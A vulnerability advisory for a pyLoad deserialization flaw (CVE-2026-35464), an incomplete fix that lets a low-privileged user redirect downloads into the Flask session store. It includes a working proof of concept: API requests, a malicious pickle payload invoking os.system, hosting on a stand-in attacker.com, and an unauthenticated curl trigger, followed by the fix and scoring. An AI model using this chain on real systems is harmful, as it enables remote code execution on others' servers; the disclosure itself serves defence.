pyLoad: Unprotected storage_folder enables arbitrary file write to Flask session store and code execution (Incomplete fix for CVE-2026-33509)
The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMIN_ONLY_OPTIONS set to block non-admin users from modifying security-critical config options. The storage_folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.
The chain requires a single non-admin user with both SETTINGS (to change storage_folder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.
storage_folder at src/pyload/core/api/__init__.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.
pyload configures Flask with SESSION_TYPE = "filesystem" at __init__.py:127. The cachelib FileSystemCache stores session files as md5("session:" + session_id) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.
Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.
Step 1 — Change download directory to Flask session store:
POST /api/set_config_value
{"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"}
The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.
Step 2 — Compute the target session filename:
md5("session:ATTACKER_SESSION_ID") = 92912f771df217fb6fbfded6705dd47c
Flask-Session uses cachelib which stores files as md5(key_prefix + session_id). The default key prefix is session:.
Step 3 — Host and download the malicious pickle payload:
import pickle, os, struct
class RCE:
def __reduce__(self):
return (os.system, ("id > /tmp/pyload-rce-success",))
session = {"_permanent": True, "rce": RCE()}
payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2)
# struct.pack("I", 0) = cachelib timeout header (0 = never expires)
Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:
POST /api/add_package
{"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}
The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.
Step 4 — Trigger deserialization (unauthenticated):
curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID"
The session cookie name is pyload_session_ + the configured port number (__init__.py:128).
Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.
Result:
$ docker exec pyload-poc cat /tmp/pyload-rce-success
uid=1000(abc) gid=1000(users) groups=1000(users)
A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:
Add storage_folder to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):
ADMIN_ONLY_OPTIONS = {
...
("general", "storage_folder"), # ADDED: prevents session poisoning RCE
...
}
Also correct the existing wrong option names:
("webui", "ssl_certfile"), # FIXED: was "ssl_cert" (dead code)
("webui", "ssl_keyfile"), # FIXED: was "ssl_key" (dead code)
This issue can be reached over the network, attack complexity is high, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE-2026-35464 is classified as CWE-502: Deserialization of Untrusted Data. Serialised data from an untrusted source is reconstructed into objects, which can trigger code during the process.
CVE-2026-35464 is recorded against 2 packages.
Published on 7 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
github.com
github.com
github.com
www.cve.org
github.com
pyload has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-502: Deserialization of Untrusted Data) in other software:
Details
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| pyload | — | 2026-04-02 |
| pyload-ng | — | — |
References
Similar Threats
Exploit Protection
CVE-2026-35464 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
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